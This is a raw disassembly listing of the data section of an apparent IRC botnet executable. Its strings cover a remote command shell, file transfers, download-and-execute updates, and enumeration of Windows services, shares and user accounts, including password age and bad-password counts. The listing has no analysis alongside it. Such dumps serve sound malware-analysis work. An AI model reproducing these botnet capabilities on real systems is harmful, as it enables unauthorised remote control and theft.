dword_42CEDC	dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh
					; DATA XREF: sub_40BC4D+1A0o
		dd 0BB022029h, 202002BBh, 61766E49h, 2064696Ch,	2E4C5255h
		dd 0
unk_42CF08	db    2			; DATA XREF: sub_40BC4D:loc_40BDE0o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 76h,	69h, 73h
		db  69h	; i
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToGetReq	db 'Failed to get requested URL from HTTP server.',0
		align 4
dword_42CF54	dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh
					; DATA XREF: sub_40BC4D+18Co
		dd 0BB022029h, 202002BBh, 204C5255h, 69736976h,	2E646574h
		dd 0
dword_42CF80	dd 2A2F2Ah		; DATA XREF: sub_40BC4D+3Bo
; char aD_SS[]
aD_SS		db '%d. %s = %s',0      ; DATA XREF: sub_40BEF7+35o
aAliasList	db '-[Alias List]-',0   ; DATA XREF: sub_40BEF7+10o
		align 10h
; char a_2d_2d4d_2d_2d[]
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_40BF6F+60o
		align 4
dword_42CFC4	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 1F702E73h, 29671F6Ch
					; DATA XREF: sub_40C00F+1Ao
		dd 0BBBB0220h, 20202002h, 61656C43h, 2E646572h,	0
; char dword_42CFEC
dword_42CFEC	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C081+DCo
		dd 2BBBB02h, 694C2020h,	63207473h, 6C706D6Fh, 2E657465h
		dd 0
dword_42D018	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C081+3Fo
		dd 2BBBB02h, 65422020h,	6E6967h
dword_42D038	dd 80000002h, 42E6BCh, 80000002h, 42E6ECh, 80000001h, 42E724h
					; DATA XREF: sub_40C1B0+7o
; char dword_42D050
dword_42D050	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C1B0+63o
					; sub_40C353+170o
		dd 2BBBB02h
aFailedToSendTo	db '  Failed to send to Remote command shell.',0
		align 4
; char dword_42D094
dword_42D094	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C353+ABo
		dd 2BBBB02h
aFailedToOpenRe	db '  Failed to open remote command shell.',0
		align 4
; char dword_42D0D4
dword_42D0D4	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C353+47o
					; sub_40C514+FDo
		dd 2BBBB02h
aFailedToOpenSo	db '  Failed to open socket.',0
		align 4
; char dword_42D108
dword_42D108	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C514+362o
					; sub_40C8B6+156o
		dd 2BBBB02h, 6F532020h,	74656B63h, 72726520h, 2E726Fh
; char dword_42D130
dword_42D130	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C514+2FAo
		dd 2BBBB02h
aTransferComp_0	db '  Transfer complete to IP: %s, Filename: %s (%s bytes).',0
; char dword_42D180
dword_42D180	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C514+202o
		dd 2BBBB02h
aUnableToOpenSo	db '  Unable to open socket.',0
		align 4
dword_42D1B4	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C514+1CBo
		dd 2BBBB02h, 65532020h,	7420646Eh, 6F656D69h, 2E7475h
; char dword_42D1DC
dword_42D1DC	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: sub_40C514+16Ao
		dd 169h
dword_42D1F4	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C514+127o
		dd 2BBBB02h
aFileDoesnTExis	db '  File doesn',27h,'t exist.',0
		align 4
dword_42D224	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C514+82o
		dd 2BBBB02h
aFailedToBindTo	db '  Failed to bind to socket.',0
dword_42D258	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C514+44o
		dd 2BBBB02h
aFailedToCreate	db '  Failed to create socket.',0
		align 4
; char dword_42D28C
dword_42D28C	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C8B6+1CFo
		dd 2BBBB02h
aTransferComp_1	db '  Transfer complete from IP: %s, Filename: %s (%s bytes).',0
		align 10h
; char dword_42D2E0
dword_42D2E0	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C8B6+CBo
		dd 2BBBB02h
aErrorOpeningSo	db '  Error opening socket.',0
dword_42D310	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C8B6+ABo
		dd 2BBBB02h
aErrorOpeningFi	db '  Error opening file for writing.',0
		align 4
; char aAB[]
aAB		db 'a+b',0              ; DATA XREF: sub_40C8B6+97o
dword_42D350	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C8B6+83o
		dd 2BBBB02h
aErrorUnableToW	db '  Error unable to write file to disk.',0
		align 10h
; char unk_42D390
unk_42D390	db    2			; DATA XREF: sub_40CAF1+493o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aBadUrlOrDnsErr	db '  Bad URL, or DNS Error: %s.',0
		align 4
unk_42D3CC	db    2			; DATA XREF: sub_40CAF1+485o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUpdateFailedEr	db '  Update failed: Error executing file: %s.',0
; char unk_42D414
unk_42D414	db    2			; DATA XREF: sub_40CAF1+3C9o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloaded_1fk	db '  Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0
		align 4
; char dword_42D464
dword_42D464	dd 7A026E02h, 201F6D1Fh, 776F6428h, 616F6C6Eh, 1F702E64h
					; DATA XREF: sub_40CAF1+358o
		dd 29671F6Ch, 0BBBB0220h, 4F202002h, 656E6570h,	25203A64h
		dd 2E73h
aOpen		db 'open',0             ; DATA XREF: sub_40CAF1+336o
					; sub_40EE51+2B6Fo ...
		align 4
; char unk_42D498
unk_42D498	db    2			; DATA XREF: sub_40CAF1+2E1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloaded_1fK	db '  Downloaded %.1f KB to %s @ %.1f KB/sec.',0
		align 10h
; char unk_42D4E0
unk_42D4E0	db    2			; DATA XREF: sub_40CAF1+262o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCrcFailedDD_	db '  CRC Failed (%d != %d).',0
		align 4
; char unk_42D518
unk_42D518	db    2			; DATA XREF: sub_40CAF1+1D8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFilesizeIsInco	db '  Filesize is incorrect: (%d != %d).',0
		align 4
; char unk_42D55C
unk_42D55C	db    2			; DATA XREF: sub_40CAF1+195o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUpdateSDkbTran	db '  Update: %s (%dKB transferred).',0
		align 4
unk_42D59C	db    2			; DATA XREF: sub_40CAF1+183o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileDownloadSD	db '  File download: %s (%dKB transferred).',0
		align 4
; char unk_42D5E4
unk_42D5E4	db    2			; DATA XREF: sub_40CAF1+77o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldnTOpenFil	db '  Couldn',27h,'t open file: %s.',0
		align 4
aUnknown	db 'Unknown',0          ; DATA XREF: sub_40D099:loc_40D0DCo
					; sub_40DF4B+104o
aInvalid	db 'Invalid',0          ; DATA XREF: sub_40D099:loc_40D0D6o
aDisk		db 'Disk',0             ; DATA XREF: sub_40D099:loc_40D0D0o
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_40D099:loc_40D0CAo
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_40D099:loc_40D0C4o
		align 4
off_42D644	dd offset word_4D4152	; DATA XREF: sub_40D099:loc_40D0BEo
; char aFailed[]
aFailed		db 'failed',0           ; DATA XREF: sub_40D12A:loc_40D202o
					; sub_40D245+3Bo
		align 10h
; char aSkb[]
aSkb		db '%sKB',0             ; DATA XREF: sub_40D12A+6Bo
		align 4
; char unk_42D658
unk_42D658	db    2			; DATA XREF: sub_40D245+8Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Fh, 72h
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSDriveSSTotalS	db '  %s Drive (%s): %s total, %s free, %s available.',0
		align 4
; char unk_42D6A4
unk_42D6A4	db    2			; DATA XREF: sub_40D245+58o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Fh, 72h
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSDriveSFailedT	db '  %s Drive (%s): Failed to stat, device not ready.',0
; char aA_0[]
aA_0		db 'A:\',0              ; DATA XREF: sub_40D317:loc_40D35Co
dword_42D6F4	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_40D4BC+A4o
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_42D740	dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF:	sub_40D4BC+E3o
; ---------------------------------------------------------------------------


loc_42D75C:				; DATA XREF: sub_40D4BC+118o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_42D770	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_40D4BC+13Fo
; char aSSS_0[]
aSSS_0		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40D670+58o
; char aPrivmsg[]
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_40D670+16o
					; sub_40EE51+620o
; char aNotice[]
aNotice		db 'NOTICE',0           ; DATA XREF: sub_40D670+Fo
					; sub_40EE51+62Co
		align 10h
off_42D7A0	dd offset aAdd		; DATA XREF: sub_40D70B+6Dr
					; sub_40DAEF+50r ...
					; "Add"
off_42D7A4	dd offset aAdded	; DATA XREF: sub_40D70B+2Dr
					; sub_40DAEF+82r ...
					; "Added"
dword_42D7A8	dd 0			; DATA XREF: sub_40D70B+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 8
		dd offset aList_0	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 10h
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 42D814h, 42D80Ch,	2, 42D800h, 42D7F4h, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: UPX0:0042D7D4o
aStop_0		db 'Stop',0             ; DATA XREF: UPX0:0042D7D0o
		align 4
aStarted	db 'Started',0          ; DATA XREF: UPX0:0042D7C8o
aStart_0	db 'Start',0            ; DATA XREF: UPX0:0042D7C4o
		align 4
aListed		db 'Listed',0           ; DATA XREF: UPX0:0042D7BCo
		align 4
aList_0		db 'List',0             ; DATA XREF: UPX0:0042D7B8o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: UPX0:0042D7B0o
aDelete_0	db 'Delete',0           ; DATA XREF: UPX0:0042D7ACo
		align 4
aAdded		db 'Added',0            ; DATA XREF: UPX0:off_42D7A4o
		align 4
aAdd		db 'Add',0              ; DATA XREF: UPX0:off_42D7A0o
; char dword_42D868
dword_42D868	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D70B+74o
		dd 2BBBB02h
aSNoServiceSpec	db '  %s: No service specified.',0
; char dword_42D89C
dword_42D89C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D70B+55o
		dd 2BBBB02h
aErrorWithServi	db '  Error with service: ',27h,'%s',27h,'. %s',0
		align 4
; char dword_42D8D4
dword_42D8D4	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D70B+38o
		dd 2BBBB02h
aSServiceS_	db '  %s service: ',27h,'%s',27h,'.',0
; char aAnUnknownErr_0[]
aAnUnknownErr_0	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_40D834+12Co
		align 4
; char aTheSystemIsShu[]
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_40D834:loc_40D94Co
		align 4
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_40D834:loc_40D945o
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_40D834:loc_40D93Eo
		db 'the state of the service.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_40D834:loc_40D937o
		align 10h
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_40D834:loc_40D930o
		db ' correct access rights.',0
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_40D834:loc_40D929o
		align 4
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_40D834:loc_40D922o
		align 4
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_40D834:loc_40D91Bo
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_40D834:loc_40D914o
		db 'marked for deletion.',0
		align 10h
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_40D834:loc_40D90Do
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_40D834:loc_40D8E2o
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_40D834:loc_40D8DBo
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_40D834:loc_40D8D4o
		db 'tServiceCtrlDispatcher.',0
		align 4
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_40D834:loc_40D8CDo
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_40D834+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_40D834:loc_40D8A2o
		db 'dependent on it.',0
		align 10h
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_40D834:loc_40D898o
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_40D834:loc_40D88Eo
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_40D834:loc_40D884o
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_40D834:loc_40D87Ao
		align 4
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_40D834+3Co
		align 4
; char aSSS[]
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_40D9B2+EBo
; char aStopped[]
aStopped	db '    Stopped',0      ; DATA XREF: sub_40D9B2:loc_40DA7Eo
aStarting	db '   Starting',0      ; DATA XREF: sub_40D9B2:loc_40DA77o
aStoping	db '    Stoping',0      ; DATA XREF: sub_40D9B2:loc_40DA70o
aRunning	db '    Running',0      ; DATA XREF: sub_40D9B2:loc_40DA69o
aContinuing	db ' Continuing',0      ; DATA XREF: sub_40D9B2:loc_40DA62o
aPausing	db '    Pausing',0      ; DATA XREF: sub_40D9B2:loc_40DA5Bo
aPaused_0	db '     Paused',0      ; DATA XREF: sub_40D9B2:loc_40DA54o
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_40D9B2+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_40D9B2+25o
		align 4
; char dword_42DE38
dword_42DE38	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DAEF+ABo
		dd 2BBBB02h
aSNoShareSpecif	db '  %s: No share specified.',0
		align 4
; char dword_42DE6C
dword_42DE6C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DAEF+89o
		dd 2BBBB02h
aSShareS_	db '  %s share: ',27h,'%s',27h,'.',0
		align 4
; char dword_42DE98
dword_42DE98	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DAEF+57o
		dd 2BBBB02h
aSErrorWithShar	db '  %s: Error with share: ',27h,'%s',27h,'. %s',0
		align 4
; char a14s24s6u4s[]
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_40DCE4+D0o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_40DCE4+BCo
		align 10h
aYes		db 'Yes',0              ; DATA XREF: sub_40DCE4+B5o
; char dword_42DEF4
dword_42DEF4	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DCE4+76o
		dd 2BBBB02h
aShareListError	db '  Share list error: %s <%ld>',0
		align 4
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_40DCE4+26o
		align 4
; char dword_42DF64
dword_42DF64	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DE05+B6o
		dd 2BBBB02h
aSNoUsernameSpe	db '  %s: No username specified.',0
		align 4
; char dword_42DF9C
dword_42DF9C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DE05+94o
		dd 2BBBB02h
aSErrorWithUser	db '  %s: Error with username: ',27h,'%s',27h,'. %s',0
; char dword_42DFD8
dword_42DFD8	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DE05+6Do
		dd 2BBBB02h
aSUsernameS_	db '  %s username: ',27h,'%s',27h,'.',0
		align 4
; char dword_42E008
dword_42E008	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DF4B+394o
		dd 2BBBB02h
aUserInfoErrorL	db '  User info error: <%ld>',0
		align 4
; char aUnitsPerWeekD[]
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_40DF4B+36Ao
		align 10h
; char aMax_StorageD[]
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_40DF4B+33Fo
		align 4
; char aUserSLanguageD[]
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_40DF4B+317o
; char aCountryCodeD[]
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_40DF4B+2ECo
		align 4
; char aWorkstationsS[]
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_40DF4B+2C4o
		align 10h
; char aLogonServerS[]
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_40DF4B+299o
		align 4
; char aLastLogoffD[]
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_40DF4B+271o
; char aLastLogonD[]
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_40DF4B+246o
		align 4
; char aNumberOfLogins[]
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_40DF4B+21Eo
		align 4
; char aBadPasswordCou[]
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_40DF4B+1F3o
		align 4
; char aPasswordAgeD[]
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_40DF4B+1CBo
		align 4
; char aParametersS[]
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_40DF4B+1A0o
		align 4
; char aHomeDirectoryS[]
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_40DF4B+178o
		align 4
; char aAuthFlagsD[]
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_40DF4B+14Do
		align 4
; char aPrivilegeLevel[]
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_40DF4B+125o
aGuest		db 'Guest',0            ; DATA XREF: sub_40DF4B:loc_40E064o
		align 4
aUser_1		db 'User',0             ; DATA XREF: sub_40DF4B:loc_40E05Do
		align 10h
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_40DF4B:loc_40E056o
					; UPX0:0042E764o ...
		align 10h
; char aCommentS[]
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_40DF4B+D4o
; char aUserCommentS[]
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_40DF4B+ACo
		align 10h
; char aFullNameS[]
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_40DF4B+81o
		align 10h
; char aAccountS[]
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_40DF4B+50o
; char aTotalUsersFoun[]
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_40E319+14Fo
		align 4
; char dword_42E1D4
dword_42E1D4	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40E319+F7o
		dd 2BBBB02h
aAnAccessViolat	db '  An access violation has occured.',0
		align 10h
; char aS_2[]
aS_2		db '  %S',0             ; DATA XREF: sub_40E319+BEo
		align 4
; char dword_42E218
dword_42E218	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40E319+7Ao
		dd 2BBBB02h
aUserListErrorS	db '  User list error: %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_40E319+29o
; char aNetworkConnect[]
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_40E499:loc_40E5B6o
		align 10h
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_40E499:loc_40E5AFo
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_40E499:loc_40E5A8o
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_40E499:loc_40E5A1o
		align 4
aAnUnknownError	db 'An unknown error occurred.',0 ; DATA XREF: sub_40E499:loc_40E59Ao
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_40E499:loc_40E57Do
		db 'ord policy requirement.)',0
		align 10h
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_40E499:loc_40E576o
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_40E499:loc_40E56Fo
		align 10h
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_40E499+CFo
		db ' the domain.',0
		align 10h
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_40E499:loc_40E544o
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_40E499:loc_40E53Do
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_40E499:loc_40E536o
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_40E499:loc_40E52Co
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_40E499+89o
		align 10h
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_40E499:loc_40E506o
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_40E499:loc_40E4FCo
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_40E499:loc_40E4F2o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_40E499:loc_40E4E8o
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_40E499:loc_40E4DEo
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_40E499+3Bo
		align 10h
; char dword_42E530
dword_42E530	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40E5CD+ABo
		dd 2BBBB02h
aSServerSMessag	db '  %s <Server: %S> <Message: %S>',0
; char dword_42E568
dword_42E568	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40E5CD+81o
		dd 2BBBB02h
aMessageSentSuc	db '  Message sent successfully.',0
		align 10h
dword_42E5A0	dd 1A0Bh		; DATA XREF: sub_40E68B+3A0r
					; sub_40E68B+453r
dword_42E5A4	dd 1A0Bh		; DATA XREF: sub_40E68B+49Fr
dword_42E5A8	dd 30EAh		; DATA XREF: sub_40EE51:loc_414BF5r
dword_42E5AC	dd 18F4h		; DATA XREF: sub_407243+3Br
					; sub_40EE51+52CCr
dword_42E5B0	dd 1BB0h		; DATA XREF: sub_407243:loc_4074F2r
					; sub_40EE51:loc_41420Fr
dword_42E5B4	dd 0A84h		; DATA XREF: sub_40EE51:loc_414385r
dword_42E5B8	dd 1			; DATA XREF: sub_40EE51+662r
dword_42E5BC	dd 1			; DATA XREF: sub_40AC3D+Cr
					; sub_40E68B:loc_40E9B7r
byte_42E5C0	db 2Eh			; DATA XREF: sub_40CFE3:loc_40CFEFr
					; sub_40EE51+AF6r ...
		align 4
dword_42E5C4	dd 6			; DATA XREF: sub_415985+2Br
					; sub_415985+51r ...
; int dword_42E5C8
dword_42E5C8	dd 4			; DATA XREF: sub_40EB71+78r
					; sub_40EE51+27Cr ...
a8652		db '8652',0
		align 4
aCool		db 'cool',0
		align 4
aMan		db 'man',0
aSym		db 'sym',0
		dd 0
		db 2 dup(0)
